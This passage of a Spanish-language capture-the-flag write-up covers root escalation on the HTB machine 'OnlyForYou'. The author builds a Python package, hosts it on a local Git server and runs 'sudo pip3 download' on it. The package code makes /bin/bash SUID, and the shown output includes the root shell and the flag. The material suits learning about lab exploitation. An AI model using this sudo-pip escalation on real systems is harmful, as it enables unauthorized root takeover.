creating '/home/mrx/Documentos/HTB/OnlyForYou/content/this_is_fine_wuzzi/dist/.tmp-mm4f6bel/this_is_fine_wuzzi-0.0.1-py3-none-any.whl' and adding 'build/bdist.linux-x86_64/wheel' to it
adding 'this_is_fine_wuzzi-0.0.1.dist-info/LICENSE'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/METADATA'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/WHEEL'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/top_level.txt'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
Successfully built this_is_fine_wuzzi-0.0.1.tar.gz and this_is_fine_wuzzi-0.0.1-py3-none-any.whl

Creamos un nuevo repositorio.

Añadimos el archivo README.md y subimos el archivo tar.gz que hemos creado.

-bash-5.0$ mkdir exploit
-bash-5.0$ touch README.md
-bash-5.0$ git init
Initialized empty Git repository in /home/john/.git/
-bash-5.0$ git add README.md
-bash-5.0$ git commit -m "first commit"
[master (root-commit) 2277b5b] first commit
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 README.md
-bash-5.0$ git remote add origin http://127.0.0.1:3000/john/exploit.git
-bash-5.0$ git push -u origin master
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 206 bytes | 206.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0)
Username for 'http://127.0.0.1:3000': john
Password for 'http://[email protected]:3000': 
To http://127.0.0.1:3000/john/exploit.git
 * [new branch]      master -> master
Branch 'master' set up to track remote branch 'master' from 'origin'.
-bash-5.0$ 

Ejecutamos el comando para descargar el repositorio comprimido y la bash la convierte en SUID pudiendo convertinos en root y leer la flag.

-bash-5.0$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/exploit/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/exploit/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/exploit/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
     - 2.7 kB 7.9 MB/s
  Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
-bash-5.0$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
-bash-5.0$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
56394feefa4a2a0b3bb7cfbca81deb3c
bash-5.0# 

Leave a Reply

Your email address will not be published. Required fields are marked *